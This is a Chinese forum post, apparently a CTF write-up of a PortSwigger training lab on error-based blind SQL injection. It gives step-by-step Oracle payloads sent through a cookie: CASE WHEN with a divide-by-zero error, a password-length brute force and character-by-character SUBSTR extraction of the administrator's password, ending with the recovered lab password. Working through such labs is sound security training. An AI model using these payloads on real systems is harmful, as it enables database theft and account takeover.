发帖
 找回密码
 立即注册
搜索
0 0

WEB bp官方靶场sql注入12

CTF练习 896 0 2025-7-29 13:18:58

第十二关 带有条件错误的盲 SQL 注入

这一关就是基于报错信息的sql盲注,通过触发报错信息来利用SQL 盲注来找出管理员密码

靶场提示:1、靶场存在SQL盲注,注入点在cookie

2、不会返回sql查询的结果,只显示SQL查询导致错误的报错信息页面

3、有数据库表users,字段列是username和password,管理员administrator

具体操作:

1、找到对应的数据包发往repeater(具体操作和第十一关一样)

2、检测一下有没有存在注入

加单引号报错

加两个单引号,形成闭合报错消失,这说明是语法错误,未闭合的引号也是对响应产生了可检测的影响。

所以上面检测存在注入

3、测试存在sql注入漏洞

插入检测sql语句:

'||(SELECT '')||'

报错,存在sql注入漏洞

在靶场提示中找到oracle的数据库的检测sql注入的语句复制过来修改下,指定一个可预测存在的表:

这里的dual是oracle的内置表

'||(SELECT '' FROM dual)||'

没有报错,说明使用的是oracle数据库

4、知道了是oracle数据库,检测下这个oracle数据库的users表确定存在吗

插入SQL语句

WHERE ROWNUM = 1:这是 **Oracle 数据库特有的语法,表示“只返回结果集中的第一行”。

'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
​

页面没有报错,说明 users表存在,注入语句执行无误

5、通过制造数据库报错(1/0),来验证SQL注入点是否存在和可利用

插入的SQL语句

'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
简单点讲就是条件为真执行then后面的语句,否则执行else,查询数据来自dual表
dual:是oracle数据库的内置表,经常用来做测试或返回表达式计算结果。
​
CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END    这是一个条件判断语句
​
WHEN (1=1):条件恒为真
THEN TO_CHAR(1/0):如果条件成立,执行TO_CHAR(1/0)
TO_CHAR(1/0) 是把1/0转为字符串,但1/0会发生除零错误,数据库会抛出异常
ELSE '':如果条件不成立,返回空字符串(不过这里1=1恒成立,这里永远不会执行)
​

用1=1页面报错,存在sql注入点,这个注入点有效可以利用

6、再用 1=2的payload不会报错,说明条件没触发,页面正常

这是用来做SQL注入测试时的“对照组”payload。

'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
​
解释:1=2条件为假,不执行then后面的语句,执行else后面的''这个空字符串,查询数据来自dual表

页面正常

7、确定管理员存在

插入SQL语句判断

'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
​
解释:条件1=1为真,执行then后面的报错语句,否则执行else,查询数据来自users表,查询条件是管理员的名字

页面报错,说明管理员存在

8、知道了users表,用户名和密码两个字段,管理员administrator,接下来去爆破管理员密码长度

插入sql语句

'||(SELECT CASE WHEN LENGTH(password)=1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
​
解释:条件是密码长度等于一个变量为真时,执行then后面的报错语句,否则执行else,数据查询来自users表,条件是管理员名

将长度设置为变量,进行爆破

注意可能一次爆破不成功

我这里爆破了3次才成功

显示20的长度就报错了,那么密码的长度为20

9、知道了密码长度,接下来爆破密码字符内容

使用集束炸弹模式进行爆破,将密码的长度和字符内容设置成变量

'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
​
解释:如果条件从第一个开始截取一个字符等于字符内容a,执行then后面的报错语句,否则执行else,数据查询来自users表 ,查询条件是管理员名

设置第一个变量

设置第二个变量

提示给的范围是a~z,0~9

扫描完成后设置报错页面的关键字,方便查看

也可以直接搜索错误关键字

注意接下来要进行排序,再复制密码njdtkimu1cqgc5zjxz1q

密码:njdtkimu1cqgc5zjxz1q

10、利用爆破的密码进行登录

如图成功通关靶场

──── 0人觉得很赞 ────
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回